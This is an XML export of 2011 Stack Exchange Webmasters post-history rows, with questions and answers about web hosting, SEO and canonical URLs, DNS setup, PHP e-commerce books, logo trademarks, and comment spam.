  <row Id="35275" PostHistoryTypeId="2" PostId="14989" RevisionGUID="bd1f529d-451f-4635-a296-3f30eae911b5" CreationDate="2011-06-08T16:43:15.117" UserId="1253" Text="From [their specs page][1] it doesn't look like they offer Java hosting.&#xD;&#xA;&#xD;&#xA;&gt; **Additional site features and languages:**   &#xD;&#xA;&gt; - FTP (1,000 accounts)  &#xD;&#xA;&gt; - Support for third-party design tools like Dreamweaver and Publisher   &#xD;&#xA;&gt; - Unlimited data transfer and disk space More details  &#xD;&#xA;&gt; - WordPress blogging  &#xD;&#xA;&gt; - VeriSign Trust™ Seal   &#xD;&#xA;&gt; - HTML editor  &#xD;&#xA;&gt; - PHP 5  &#xD;&#xA;&gt; - Perl 5.8.7  &#xD;&#xA;&gt; - MySQL 4.1  &#xD;&#xA;&gt; - phpMyAdmin (free open-source add-on)  &#xD;&#xA;&gt; - Virtually unlimited databases  &#xD;&#xA;&gt; - Password protection (1,000 accounts)  &#xD;&#xA;&gt; - Account access for colleagues or friends  &#xD;&#xA;&gt; - Flash and Shockwave support  &#xD;&#xA;&gt; - Site search&#xD;&#xA;&#xD;&#xA;  [1]: http://smallbusiness.yahoo.com/webhosting/details" />
  <row Id="35276" PostHistoryTypeId="2" PostId="14990" RevisionGUID="211814e6-6897-4096-a3bc-c6fc364d0a52" CreationDate="2011-06-08T16:53:53.427" UserId="8107" Text="does it make a difference for the Google ranking if I link to a site with a &quot;referrer&quot; example.com/?ref=mysite instead of example.com ?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Michael" />
  <row Id="35277" PostHistoryTypeId="1" PostId="14990" RevisionGUID="211814e6-6897-4096-a3bc-c6fc364d0a52" CreationDate="2011-06-08T16:53:53.427" UserId="8107" Text="Google ranking - difference between example.com and example.com/?ref=id" />
  <row Id="35278" PostHistoryTypeId="3" PostId="14990" RevisionGUID="211814e6-6897-4096-a3bc-c6fc364d0a52" CreationDate="2011-06-08T16:53:53.427" UserId="8107" Text="&lt;seo&gt;" />
  <row Id="35279" PostHistoryTypeId="5" PostId="14982" RevisionGUID="5ddcb873-efa2-4854-8c77-74bf6d8f7018" CreationDate="2011-06-08T16:57:18.907" UserId="8105" Comment="added 292 characters in body" Text="I work for a small business, and I *am* the &quot;IT Department&quot;. I also happen to be a summer intern, so after I leave the number of IT staff will be 0 for an indefinite period of time. I need a place where I can reliably put up the company's website as well as the mySQL+PHP backend. Good redundancy is a plus, as well as easy administration for my IT-challenged colleagues. Managed hosting would be good, so the PHP versions can update without my company having to hire an admin.&#xD;&#xA;&#xD;&#xA;EDIT: The company already has a mySQL+PHP server running locally which hosts the existing website. My assignment is to find a remote server where the latest versions of mySQL+PHP will be maintained and where there is a very small chance of unintended downtime. Can you recommend anything?" />
  <row Id="35281" PostHistoryTypeId="2" PostId="14991" RevisionGUID="6e1b0f38-2920-4c1b-a973-4e1b3234c619" CreationDate="2011-06-08T17:23:06.073" UserId="7138" Text="The question mark is normally a signal for dynamic content, which may send signals to the robot ... some dynamic sites loop into infinity with different urls all with the same content. &#xD;&#xA;&#xD;&#xA;Inherently  example.com/?ref=mysite  example.com/?ref=mysite&amp;anothertag=something example.com/?ref=mysite&amp;anothertag=Duplicatecontent More than likely will all pull up the same content while example.com/mysite would signal static content and example.com/mysite/anothertag would be different content.&#xD;&#xA;&#xD;&#xA;Currently many CMS systems use ? marks and they are indexed by google. None the less, they are by nature not search engine friendly. Duplicate content is a problem for robots as well as url loops that trap search engine spiders.&#xD;&#xA;&#xD;&#xA;I would strongly discourage using ? but I can not they will specifically harm a sites ranking. Ultimately the URL with the ? will be given importance by links going to it from the site and other sites in the same way that none ? URL are given importance. The ? mark itself does not create a penalty, rather opens a can of worms regarding duplicate content and duplicate content is a problem." />
  <row Id="35282" PostHistoryTypeId="2" PostId="14992" RevisionGUID="f2a69c32-fa73-4fea-a0ed-70167ab35f92" CreationDate="2011-06-08T17:23:37.297" UserId="118" Text="As long as that url redirects (and doesn't retain the parameters) or that parameter is set in [google webmaster tools][1] to be ignored by googlebot, it should make essentially no difference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="35283" PostHistoryTypeId="5" PostId="14992" RevisionGUID="bd75633b-98b9-4bf6-a250-736e2eb69137" CreationDate="2011-06-08T17:34:20.380" UserId="118" Comment="added 300 characters in body" Text="As long as that url redirects to the main url (and doesn't retain the parameters) or that parameter is set in [google webmaster tools][1] to be ignored by googlebot (which is only easy to find out if you're the owner of the site, really), it should make essentially no difference.&#xD;&#xA;&#xD;&#xA;Otherwise you could resort to [using the][2] `&lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/&quot;&gt;` (again as owner of the site).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="35284" PostHistoryTypeId="25" PostId="14990" RevisionGUID="0aa52c7c-935e-411c-9d2c-d51f813f0cee" CreationDate="2011-06-08T18:15:26.737" Comment="http://twitter.com/#!/StackWebmasters/status/78525557230403584" />
  <row Id="35291" PostHistoryTypeId="2" PostId="14994" RevisionGUID="fefb28b3-67cb-4171-9866-2e7b3d2feb14" CreationDate="2011-06-08T20:19:53.637" UserId="8111" Text="I'm trying to choose a new hosting service for a WordPress blog, I've stumbled upon several services and most of them look good, so I was trying to find reviews from current user to see what they have to say, is there any website where I can find people's thoughts on the different web hosting companies / services?." />
  <row Id="35292" PostHistoryTypeId="1" PostId="14994" RevisionGUID="fefb28b3-67cb-4171-9866-2e7b3d2feb14" CreationDate="2011-06-08T20:19:53.637" UserId="8111" Text="Where can I find good web hosting reviews?" />
  <row Id="35293" PostHistoryTypeId="3" PostId="14994" RevisionGUID="fefb28b3-67cb-4171-9866-2e7b3d2feb14" CreationDate="2011-06-08T20:19:53.637" UserId="8111" Text="&lt;web-hosting&gt;&lt;wordpress&gt;&lt;server&gt;&lt;website-review&gt;" />
  <row Id="35294" PostHistoryTypeId="2" PostId="14995" RevisionGUID="2352fad7-c65e-4075-8a13-d00f700c2cc5" CreationDate="2011-06-08T20:27:08.317" UserId="8112" Text="I have designed a website running in php and mysql. And I used mysqli extension instead of the normal mysql extension in php, so all my functions are now on mysqli. After developing a major part of the website, i started looking for suitable webhosts, and found that there are few that offer support for mysqli extension.&#xD;&#xA;&#xD;&#xA;I'm not sure if I really made a mistake by preferring mysqli instead of mysql.&#xD;&#xA;Could you please let me know -&#xD;&#xA;a) whether mysqli support has to be confirmed with the host before I sign up for their web space account&#xD;&#xA;b) whether mysqli support will be given by default in all php 5.2+ versions&#xD;&#xA;c) any good (paid, but not too expensive) webhosts with reliable service offering support for mysqli extension (in shared server more, not dedicated server)&#xD;&#xA;&#xD;&#xA;NOTE - mine is a small business, and i'm looking for a shared mode web host for now.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35295" PostHistoryTypeId="1" PostId="14995" RevisionGUID="2352fad7-c65e-4075-8a13-d00f700c2cc5" CreationDate="2011-06-08T20:27:08.317" UserId="8112" Text="how do i choose a web host with support for mysqli extension in php?" />
  <row Id="35296" PostHistoryTypeId="3" PostId="14995" RevisionGUID="2352fad7-c65e-4075-8a13-d00f700c2cc5" CreationDate="2011-06-08T20:27:08.317" UserId="8112" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;mysql&gt;" />
  <row Id="35297" PostHistoryTypeId="2" PostId="14996" RevisionGUID="5e85b239-8201-4659-9f1b-1b7c2addd814" CreationDate="2011-06-08T21:06:07.340" UserId="8113" Text="Hope this is the correct stackexchange site to ask this question...&#xD;&#xA;&#xD;&#xA;I am building a website where members are rewarded for actions completed.  Some of these actions are within my site (such as uploading a photo), however, I would like to offer my members the ability to participate in affiliate sites, which once they complete the required action they are rewarded on my site.&#xD;&#xA;&#xD;&#xA;Ideally, I would pass in the redirect url when sending the member to their site. &#xD;&#xA;&#xD;&#xA;Are there affiliates that offer to redirect back to your site?" />
  <row Id="35298" PostHistoryTypeId="1" PostId="14996" RevisionGUID="5e85b239-8201-4659-9f1b-1b7c2addd814" CreationDate="2011-06-08T21:06:07.340" UserId="8113" Text="Affiliate programs offering redirects back to my site after sucessful conversion" />
  <row Id="35299" PostHistoryTypeId="3" PostId="14996" RevisionGUID="5e85b239-8201-4659-9f1b-1b7c2addd814" CreationDate="2011-06-08T21:06:07.340" UserId="8113" Text="&lt;affiliate&gt;" />
  <row Id="35300" PostHistoryTypeId="2" PostId="14997" RevisionGUID="e93cc1a8-1091-4505-9ae3-3cf12634204e" CreationDate="2011-06-08T21:14:12.007" UserId="8114" Text="I recently purchased a domain name from godaddy and am probably going to set up a dedicated server soon. Are there any articles that people know of which can help me set up my domain name on the dedicated server (peer1, rackspace, etc)?&#xD;&#xA;&#xD;&#xA;A sub-question would be: how do I like the godaddy domain name to my IP address that I get on my dedicated server from one of these hosting companies?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35301" PostHistoryTypeId="1" PostId="14997" RevisionGUID="e93cc1a8-1091-4505-9ae3-3cf12634204e" CreationDate="2011-06-08T21:14:12.007" UserId="8114" Text="How do I use a domain name on a dedicated hosting server?" />
  <row Id="35302" PostHistoryTypeId="3" PostId="14997" RevisionGUID="e93cc1a8-1091-4505-9ae3-3cf12634204e" CreationDate="2011-06-08T21:14:12.007" UserId="8114" Text="&lt;domains&gt;&lt;godaddy&gt;&lt;webserver&gt;" />
  <row Id="35303" PostHistoryTypeId="25" PostId="14994" RevisionGUID="e1ffcf49-d0fc-4b40-bdbf-b5b86987224b" CreationDate="2011-06-08T21:15:26.840" Comment="http://twitter.com/#!/StackWebmasters/status/78570856627974144" />
  <row Id="35304" PostHistoryTypeId="5" PostId="14992" RevisionGUID="fba7d035-c280-478c-92a2-8724dc02d1c9" CreationDate="2011-06-08T21:29:04.777" UserId="118" Comment="added 28 characters in body; added 55 characters in body" Text="As long as that url redirects to the main url (and wipes the referrer parameters itself, which you can check by just following the link) or that parameter is set in [google webmaster tools][1] to be ignored by googlebot (which is only easy to find out if you're the owner of the site, really), it should make essentially no difference.&#xD;&#xA;&#xD;&#xA;Otherwise you could resort to [using the][2] `&lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/&quot;&gt;` (again if you are the owner of the site being linked to).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="35305" PostHistoryTypeId="2" PostId="14998" RevisionGUID="e45ead99-7729-4b56-b8f3-b954cf190dc9" CreationDate="2011-06-08T21:39:23.130" UserId="7731" Text="Setup of your domain on your dedicated server depends on a few things:&#xD;&#xA;&#xD;&#xA; - What control panel comes with your server&#xD;&#xA; - What webserver you'll be using (Apache, Nginx, etc)&#xD;&#xA;&#xD;&#xA;Once you know that, come back and ask.&#xD;&#xA;&#xD;&#xA;To link your domain name to your IP address, you'll need to edit your DNS settings.  Again, there are some choices for you to make such as who you will use for your nameserver.  Once you know who your nameserver is, you'll need to point your GoDaddy domain to that nameserver.  On that nameserver, you'll need to create an A record that links your domain name to the IP of your server." />
  <row Id="35306" PostHistoryTypeId="2" PostId="14999" RevisionGUID="8034a874-5131-4758-af9f-b253737c7fa3" CreationDate="2011-06-08T21:43:50.433" UserId="8114" Text="Are there any books that can teach a good/useful PHP framework to build an ecommerce site? Please recommend." />
  <row Id="35307" PostHistoryTypeId="1" PostId="14999" RevisionGUID="8034a874-5131-4758-af9f-b253737c7fa3" CreationDate="2011-06-08T21:43:50.433" UserId="8114" Text="Learning PHP Framework for ecommerce site" />
  <row Id="35308" PostHistoryTypeId="3" PostId="14999" RevisionGUID="8034a874-5131-4758-af9f-b253737c7fa3" CreationDate="2011-06-08T21:43:50.433" UserId="8114" Text="&lt;php&gt;&lt;ecommerce&gt;&lt;books&gt;" />
  <row Id="35309" PostHistoryTypeId="5" PostId="14998" RevisionGUID="f7356885-3955-4709-9ce9-cf8b4bedd87f" CreationDate="2011-06-08T21:49:06.680" UserId="7731" Comment="added 217 characters in body" Text="Setup of your domain on your dedicated server depends on a few things:&#xD;&#xA;&#xD;&#xA; - What control panel comes with your server&#xD;&#xA; - What webserver you'll be using (Apache, Nginx, etc)&#xD;&#xA;&#xD;&#xA;If you're going to use IIS, then this [guide][1] will walk you through the process of setting up more than one domain on your server.  If you ever plan on adding a second domain, I suggest this route.&#xD;&#xA;&#xD;&#xA;To link your domain name to your IP address, you'll need to edit your DNS settings.  Again, there are some choices for you to make such as who you will use for your nameserver.  Once you know who your nameserver is, you'll need to point your GoDaddy domain to that nameserver.  On that nameserver, you'll need to create an A record that links your domain name to the IP of your server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.simpledns.com/kb.aspx?kbid=1149" />
  <row Id="35310" PostHistoryTypeId="2" PostId="15000" RevisionGUID="6df47ea1-f9d8-4254-93f8-ac5c36264554" CreationDate="2011-06-08T21:51:17.350" UserId="7731" Text="Try [magento][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/" />
  <row Id="35311" PostHistoryTypeId="5" PostId="15000" RevisionGUID="39c42550-6ac5-4ffb-ba45-8112d037e49b" CreationDate="2011-06-08T22:27:12.717" UserId="7731" Comment="added 83 characters in body" Text="Try [magento][1].  Read the tutorial [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/&#xD;&#xA;  [2]: http://www.siteground.com/tutorials/magento/" />
  <row Id="35312" PostHistoryTypeId="5" PostId="15000" RevisionGUID="b445a983-8f46-43c6-b5d1-8d25daba6042" CreationDate="2011-06-08T22:38:07.323" UserId="7731" Comment="deleted 2 characters in body; added 50 characters in body" Text="The Zen framework can help you with your project.  A good book is &quot;Zend Framework in Action&quot;.  Get it [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Zend-Framework-Action-Rob-Allen/dp/1933988320" />
  <row Id="35313" PostHistoryTypeId="2" PostId="15001" RevisionGUID="5a925699-9919-484b-90a3-fa2c104575d1" CreationDate="2011-06-08T22:40:46.790" UserId="7076" Text="Web Hosting Talk is a good forum and you should be able to find user reviews for most hosts. My current host's participation in their review thread convinced me to sign up. They have ended up being the best host I've dealt with over the past 8 years.&#xD;&#xA;&#xD;&#xA;http://www.webhostingtalk.com/" />
  <row Id="35317" PostHistoryTypeId="2" PostId="15003" RevisionGUID="b2f68636-553e-4925-a346-7f6450632888" CreationDate="2011-06-08T23:52:30.507" UserId="8118" Text="on my app website are the logos of Twitter, Blogger, Facebook, Windows and others to describe the functionality of the application. &#xD;&#xA;Do I need a disclaimer that the logos are not mine or something like that?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Frank" />
  <row Id="35318" PostHistoryTypeId="1" PostId="15003" RevisionGUID="b2f68636-553e-4925-a346-7f6450632888" CreationDate="2011-06-08T23:52:30.507" UserId="8118" Text="Foreign logos on my site - disclaimer" />
  <row Id="35319" PostHistoryTypeId="3" PostId="15003" RevisionGUID="b2f68636-553e-4925-a346-7f6450632888" CreationDate="2011-06-08T23:52:30.507" UserId="8118" Text="&lt;copyright&gt;" />
  <row Id="35321" PostHistoryTypeId="2" PostId="15005" RevisionGUID="0fb7b724-5e00-4f11-a8f4-f2aa529e4280" CreationDate="2011-06-09T00:07:07.103" UserId="7405" Text="Usually when you use an image, icon, logo, etc. from another source, you need to follow the terms and conditions specified at the source for reuse of those assets.  For example, here is the [Guidelines for Use of the Twitter Trademark][1].  Copyrights generally apply when you use the work of someone else.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.twitter.com/articles/77641-guidelines-for-use-of-the-twitter-trademark" />
  <row Id="35322" PostHistoryTypeId="25" PostId="15003" RevisionGUID="838fdc56-443b-431f-a6f4-4e1b8e59041e" CreationDate="2011-06-09T00:15:27.417" Comment="http://twitter.com/#!/StackWebmasters/status/78616156843417600" />
  <row Id="35323" PostHistoryTypeId="5" PostId="14975" RevisionGUID="48175848-4ed4-4c94-9aa8-381f3e7a18af" CreationDate="2011-06-09T00:53:44.750" UserId="4461" Comment="Clean-up and formatting, spelling/grammar" Text="I will explain what happened: &#xD;&#xA;&#xD;&#xA;I have this site that ranked first for &quot;**estructuras truss**&quot;:&#xD;&#xA;&#xD;&#xA;[See Google Result][1] (mail.iddeasp.com/truss-alquiler-y-venta-de-estructuras) iddea sp&#xD;&#xA;&#xD;&#xA;&gt; **Truss: Alquiler y Venta de Estructuras | iddea SP**&#xD;&#xA;&gt; ***El truss es una estructura de aluminio de diseño moderno y&#xD;&#xA;&gt; tecnológico con un ...   La gran&#xD;&#xA;&gt; ventaja en el montaje y desmontaje de&#xD;&#xA;&gt; las estructuras truss es que ...  &#xD;&#xA;&gt; mail.iddeasp.com/truss-alquiler-y-venta-de-estructuras***&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've modified this page in order to have &quot;estructuras truss&quot; as an exact phrase... and Google didn't even bother to rank that page.&#xD;&#xA;&#xD;&#xA;The new page is &#xD;&#xA;&#xD;&#xA;http://www.iddeasp.com/alquiler-estructura-truss-y-venta&#xD;&#xA;&#xD;&#xA;&gt; **Alquiler Estructura Truss y Venta | iddea SP**&#xD;&#xA;&gt; ***Estructuras truss: estructuras de aluminio ligeras y económicas. Se&#xD;&#xA;&gt; alquilan o compran para crear&#xD;&#xA;&gt; cualquier estructura o montaje&#xD;&#xA;&gt; efímero: el mejor sistema ...***&#xD;&#xA;&#xD;&#xA;This page is not listed in even in the top 100 on google.&#xD;&#xA;&#xD;&#xA;I got lucky because as I'm using Drupal ... the old page remained somehow in cache and Google still finds it...still it's cached in March and the new page I've created it a week ago, 30th of May..&#xD;&#xA;&#xD;&#xA;Anyone know what am I doing wrong? &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.es/#hl=es&amp;pq=site:http://www.iddeasp.com/alquiler-estructura-truss-y-venta&amp;xhr=t&amp;q=Estructuras+truss&amp;cp=18&amp;pf=p&amp;sclient=psy&amp;source=hp&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=Estructuras+truss+&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=7bd1b4183091bc5e&amp;biw=1522&amp;bih=706" />
  <row Id="35324" PostHistoryTypeId="4" PostId="14975" RevisionGUID="48175848-4ed4-4c94-9aa8-381f3e7a18af" CreationDate="2011-06-09T00:53:44.750" UserId="4461" Comment="Clean-up and formatting, spelling/grammar" Text="SEO anomaly - Broad-phrase ranks better than new optimized exact-phrase - why?" />
  <row Id="35325" PostHistoryTypeId="24" PostId="14975" RevisionGUID="48175848-4ed4-4c94-9aa8-381f3e7a18af" CreationDate="2011-06-09T00:53:44.750" Comment="Proposed by 4461 approved by 1253 edit id of 377" />
  <row Id="35326" PostHistoryTypeId="5" PostId="14990" RevisionGUID="45200d31-317d-4750-aa14-b98359f014c6" CreationDate="2011-06-09T00:53:51.457" UserId="4461" Comment="Reworded and expanded, tagged, marked-up, removed cruft" Text="Does it impact a site's Google ranking if I link to the site with a &quot;referrer&quot; query-string? e.g: `example.com/?ref=mysite` instead of `example.com` ?&#xD;&#xA;" />
  <row Id="35327" PostHistoryTypeId="6" PostId="14990" RevisionGUID="45200d31-317d-4750-aa14-b98359f014c6" CreationDate="2011-06-09T00:53:51.457" UserId="4461" Comment="Reworded and expanded, tagged, marked-up, removed cruft" Text="&lt;seo&gt;&lt;url&gt;&lt;canonical-url&gt;" />
  <row Id="35328" PostHistoryTypeId="24" PostId="14990" RevisionGUID="45200d31-317d-4750-aa14-b98359f014c6" CreationDate="2011-06-09T00:53:51.457" Comment="Proposed by 4461 approved by 1253 edit id of 376" />
  <row Id="35333" PostHistoryTypeId="17" PostId="15006" RevisionGUID="c5ff6183-3e1e-49f1-b12a-b31c66515fb9" CreationDate="2011-06-09T02:44:07.597" UserId="-1" Comment="from http://stackoverflow.com/questions/6287455/baffling-comment-spam" Text="" />
  <row Id="35334" PostHistoryTypeId="17" PostId="15007" RevisionGUID="60c0745c-d24e-4f57-a38c-4625afc89606" CreationDate="2011-06-09T02:44:07.597" UserId="-1" Comment="from http://stackoverflow.com/questions/6287455/baffling-comment-spam" Text="" />
  <row Id="35335" PostHistoryTypeId="2" PostId="15007" RevisionGUID="337ce9b9-470e-40ba-a73e-e29ce76fa26e" CreationDate="2011-06-09T02:34:51.890" UserId="6671" Text="Are you sure they're not leaving links in the author field? 99% of blog spam comments that I get have the spam link for the author and a seemingly innocuous message for the body.&#xD;&#xA;&#xD;&#xA;It could also be that if you have a non-standard comment system bots are finding it but not filling out the fields correctly because, for example, one of the IDs is different." />
  <row Id="35336" PostHistoryTypeId="2" PostId="15006" RevisionGUID="bdcbfe47-c206-4be7-9827-5ee2d0a697b1" CreationDate="2011-06-09T02:29:44.713" UserId="7519" Text="I've been seeing some odd comment spam on one of my sites. Odd because there are no links posted. Just, &quot;Wow, that's a really celevr way of thinking about it!&quot; or similar. Note the typo. The messages change but they almost always seem to have a typo. I'm wondering if that may be on purpose, perhaps as a way of tracking successful comments or some such (like subtly and uniquely altering several copies of a classified document to pinpoint who a leaker was).&#xD;&#xA;&#xD;&#xA;I've noticed that often one of the fields will be left empty, inluding the comment body. This suggests to me that this is a bot that's testing for honeypot fields.&#xD;&#xA;&#xD;&#xA;Anyway, the baffling thing about these is that there are never any links posted. I can't figure out what the point of this would be. Any ideas?" />
  <row Id="35337" PostHistoryTypeId="1" PostId="15006" RevisionGUID="bdcbfe47-c206-4be7-9827-5ee2d0a697b1" CreationDate="2011-06-09T02:29:44.713" UserId="7519" Text="baffling comment spam" />
  <row Id="35338" PostHistoryTypeId="3" PostId="15006" RevisionGUID="bdcbfe47-c206-4be7-9827-5ee2d0a697b1" CreationDate="2011-06-09T02:29:44.713" UserId="7519" Text="&lt;spam&gt;" />
  <row Id="35339" PostHistoryTypeId="2" PostId="15008" RevisionGUID="1c535746-a90e-4290-9d0f-e9d5e219348d" CreationDate="2011-06-09T03:10:24.127" UserId="7037" Text="A few Google searches can also be helpful. I ended up using AN Hosting for shared hosting, but Googled things like &lt;code&gt;&quot;an hosting&quot; sucks&lt;/code&gt; before signing up with them.&#xD;&#xA;&#xD;&#xA;Try to find a host that hasn't created major problems for all their customers or suffered significant downtime, etc. But keep in mind that any large business will have some negative reviews. No host is perfect and you'll probably have to overlook a few negative comments." />
  <row Id="35340" PostHistoryTypeId="25" PostId="15006" RevisionGUID="c1e23207-5e26-4ba1-afbf-3764d3297eae" CreationDate="2011-06-09T03:15:28.273" Comment="http://twitter.com/#!/StackWebmasters/status/78661458728194048" />
  <row Id="35341" PostHistoryTypeId="2" PostId="15009" RevisionGUID="0ffaf2e7-7bb7-49a7-9fe1-bcad437870d1" CreationDate="2011-06-09T04:03:08.003" UserId="8099" Text="I need to redirect any domain to a sub-domain. I know this has got to be possible but for the life of me i can not figure it out. Any help is appreciated. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;`domain1.com`  &#xD;&#xA;`domain2.com  `&#xD;&#xA;`subdomain1.domain1.com  `&#xD;&#xA;`subdomain2.domain2.com  `&#xD;&#xA;&#xD;&#xA;all go to `subdomain3.domain.com`&#xD;&#xA;&#xD;&#xA;but i need code that does not require me to enter each domain i want redirected. So for any feature domains that i link or create will go to subdomain3.domain.com btw this will only happen when viewing `anydomain.com/path` &lt;-- the path is a sym link" />
  <row Id="35342" PostHistoryTypeId="1" PostId="15009" RevisionGUID="0ffaf2e7-7bb7-49a7-9fe1-bcad437870d1" CreationDate="2011-06-09T04:03:08.003" UserId="8099" Text=".htaccess mod_rewrite domain to subdomain" />
  <row Id="35343" PostHistoryTypeId="3" PostId="15009" RevisionGUID="0ffaf2e7-7bb7-49a7-9fe1-bcad437870d1" CreationDate="2011-06-09T04:03:08.003" UserId="8099" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="35344" PostHistoryTypeId="25" PostId="15009" RevisionGUID="a6455d9b-d4af-4133-8e51-bfed5b64ec0d" CreationDate="2011-06-09T06:15:28.837" Comment="http://twitter.com/#!/StackWebmasters/status/78706759908339712" />
  <row Id="35348" PostHistoryTypeId="2" PostId="15011" RevisionGUID="6826d9ac-9186-41c0-a2c7-a0ed5fa9c4e0" CreationDate="2011-06-09T09:08:39.850" UserId="8122" Text="Please i am looking for the top companies that provide total online solutions. &#xD;&#xA;In other words, companies that take care of:&#xD;&#xA;&#xD;&#xA; 1. Website Design. &#xD;&#xA; 2. E-commerce.&#xD;&#xA; 3. Development Search Engine.&#xD;&#xA; 4. Optimization (SEO).&#xD;&#xA; 5. Website Development.&#xD;&#xA; &#xD;&#xA;Any suggestions, names or ideas are highly appreciated. &#xD;&#xA;&#xD;&#xA;Thanks in advance for your help." />
  <row Id="35349" PostHistoryTypeId="1" PostId="15011" RevisionGUID="6826d9ac-9186-41c0-a2c7-a0ed5fa9c4e0" CreationDate="2011-06-09T09:08:39.850" UserId="8122" Text="What are the top companies that provide total online solutions?" />
  <row Id="35350" PostHistoryTypeId="3" PostId="15011" RevisionGUID="6826d9ac-9186-41c0-a2c7-a0ed5fa9c4e0" CreationDate="2011-06-09T09:08:39.850" UserId="8122" Text="&lt;seo&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;ecommerce&gt;&lt;web&gt;" />
  <row Id="35351" PostHistoryTypeId="25" PostId="15011" RevisionGUID="cb3155ff-b4d3-47a7-ae4c-d18e5332ea04" CreationDate="2011-06-09T09:15:29.147" Comment="http://twitter.com/#!/StackWebmasters/status/78752059922452480" />
  <row Id="35352" PostHistoryTypeId="2" PostId="15012" RevisionGUID="5309bb97-104d-4ff1-9f4a-61b728114c08" CreationDate="2011-06-09T10:38:06.047" UserId="7198" Text="[Sortfolio](http://sortfolio.com/) may interest you. It's a directory of web developers, many of which would be able to carry out the tasks you mention.&#xD;&#xA;&#xD;&#xA;&quot;Top companies&quot; is a subjective term, so it's hard to offer advice beyond &quot;do your own research and pick a company you feel comfortable and confident working with&quot;." />
  <row Id="35353" PostHistoryTypeId="5" PostId="15000" RevisionGUID="9949d4a5-6fde-4f34-a42c-8d5cfafbe26f" CreationDate="2011-06-09T10:53:56.630" UserId="7198" Comment="typo" Text="The Zend framework can help you with your project.  A good book is &quot;Zend Framework in Action&quot;.  Get it [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Zend-Framework-Action-Rob-Allen/dp/1933988320" />
  <row Id="35354" PostHistoryTypeId="2" PostId="15013" RevisionGUID="ca42238d-e783-462a-af20-a9c58ec57fc1" CreationDate="2011-06-09T11:07:25.457" UserId="8009" Text="Any particular reason why you're looking for a framework to aid you with this task?&#xD;&#xA;&#xD;&#xA;I'd say with the complexity of e-commerce applications (Yes, you can make a 'simple' one, but it's still going to be pretty complicated by the time you're done with frontend/backend, order management, payment gateways, etc etc) that you might want to consider possibly writing your own framework so you fully understand what your code is doing - this way you can also ensure what you're doing is 'secure' - which is pretty key when it comes to money changing hands.&#xD;&#xA;&#xD;&#xA;Granted, Magento uses the Zend framework, but it's all heavily customized etc to be their own." />
  <row Id="35355" PostHistoryTypeId="2" PostId="15014" RevisionGUID="d307a624-1621-4ee4-85e1-19b6c90f4c97" CreationDate="2011-06-09T11:08:38.030" UserId="7198" Text="[*PHP 5 e-commerce Development*](http://www.packtpub.com/php-5-e-commerce-development/book) starts by creating a simple MVC-style framework, then continues to teach you how to build an e-commerce system with PHP.&#xD;&#xA;&#xD;&#xA;[*Effortless E-Commerce with PHP and MySQL*](http://www.peachpit.com/store/product.aspx?isbn=9780321656223) teaches custom e-commerce development with PHP.&#xD;&#xA;&#xD;&#xA;[*WordPress 2.9 E-Commerce*](http://www.packtpub.com/wordpress-2-9-e-commerce/book) shows how to use PHP, WordPress, and the WP-Commerce plugin to build an e-commerce site.&#xD;&#xA;&#xD;&#xA;[*Joomla! E-Commerce with VirtueMart*](http://www.packtpub.com/joomla-e-commerce-with-virtuemart-1-1-x/book) builds an e-commerce site using Joomla.&#xD;&#xA;&#xD;&#xA;[*Drupal E-commerce with Ubercart 2.x*](https://www.packtpub.com/drupal-e-commerce-with-ubercart-2-x/book) demonstrates e-commerce site builds using Drupal.&#xD;&#xA;&#xD;&#xA;[*Building PHP Applications with Symfony™, CakePHP, and Zend® Framework*](http://www.wrox.com/WileyCDA/WroxTitle/productCd-0470887346.html) gives an overview of working with three popular PHP frameworks, with concepts that could be applied to developing a shop." />
  <row Id="35356" PostHistoryTypeId="2" PostId="15015" RevisionGUID="09a8fe9d-4b78-40d1-bd4c-411e861a779d" CreationDate="2011-06-09T11:43:36.780" UserId="7198" Text="You could use [Yahoo Pipes](http://pipes.yahoo.com/pipes/) to combine the feeds into a single feed, then simply display the latest n feed items with Python or JavaScript." />
  <row Id="35357" PostHistoryTypeId="5" PostId="15015" RevisionGUID="b6f12f1f-2ee6-4635-91be-efcdbc4ffdb7" CreationDate="2011-06-09T11:49:10.583" UserId="7198" Comment="added 168 characters in body" Text="You could use [Yahoo Pipes](http://pipes.yahoo.com/pipes/) to combine the feeds into a single feed, then simply display the latest n feed items with Python or JavaScript.&#xD;&#xA;&#xD;&#xA;Mark Pilgrim's [feed parser](http://www.feedparser.org/) might help, as may the Django snippet to [parse an RSS feed here.](http://djangosnippets.org/snippets/852/)" />
